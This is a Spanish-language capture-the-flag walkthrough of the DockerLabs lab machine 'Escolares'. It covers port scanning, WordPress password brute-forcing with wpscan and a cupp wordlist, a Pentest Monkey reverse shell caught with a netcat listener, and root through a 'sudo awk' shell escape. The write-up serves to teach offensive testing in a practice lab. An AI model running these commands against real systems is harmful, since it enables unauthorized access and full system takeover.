miguel@home:~$

Escolares - DockerLabs

OS Dificultad Creator
Linux Fácil Luisillo_o

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 22 (SSH)
  • 80 (HTTP)

A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.

nmap -p 80,22 -sCV 172.17.0.2 -oG targeted

image

Exploración Web

Al acceder a la página web, observamos una pagina sobre una Universidad de Ciberseguridad.

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

Al analizar el código fuente de la página, encontramos una ruta hacia profesores.html, donde descubrimos que luisillo es el administrador de la instalación de WordPress.

image

WordPress

Exploramos el directorio wordpress y observamos que necesitamos ajustar el archivo /etc/hosts para que el dominio escolares.dl funcione correctamente. Añadimos lo siguiente a /etc/hosts:

image

image

172.17.0.2 escolares.dl

image

Repetimos el escaneo de directorios en wordpress:

gobuster dir -u escolares.dl/wordpress -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img 

image

Identificamos al usuario luisillo como administrador. Procedemos con un ataque de fuerza bruta para descubrir su contraseña.

wpscan --url http://escolares.dl/wordpress -e u,cb,vp,vt

Encontramos el usuario que vimos en la ruta de antes de profesores.html, por lo que con se ve es un usuario en potencia para probar fuerza bruta.

image

##Fuerza bruta usuario “luisillo”.

Creamos un diccionario de contraseñas utilizando cupp:

cupp -i 

image

Ejecutamos el ataque de fuerza bruta con wpscan:

wpscan --url http://escolares.dl/wordpress/ -U luisillo -P luisillo.txt

image

Obtenemos la contraseña de luisillo y accedemos al panel de administración de WordPress.

image

Reverse Shell

Dentro del panel de administración, utilizamos un plugin que permite acceder a los archivos del servidor web. Subimos una reverse shell creada con Pentest Monkey:

Reverseshell de Pentest Monkey

Nos ponemos a la escucha con netcat:

nc -lvnp 4444

image

Accedemos a la URL donde subimos la reverse shell y establecemos la conexión. Verificamos que estamos ejecutando comandos como el usuario www-data.

image

TTY ReverseShell

Iniciar una sesión de shell interactiva

En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior está en ejecución, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuración del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Escalada de Privilegios

Explorando el sistema, encontramos un archivo secret.txt en el directorio de luisillo. Este archivo contiene la contraseña de su cuenta.

image

su luisillo

image

Al ejecutar sudo -l, vemos que podemos ejecutar awk como root. Utilizando GTFOBins sabemos cómo explotar estos binarios.

sudo awk 'BEGIN {system("/bin/sh")}'

image

Ya seriamos root.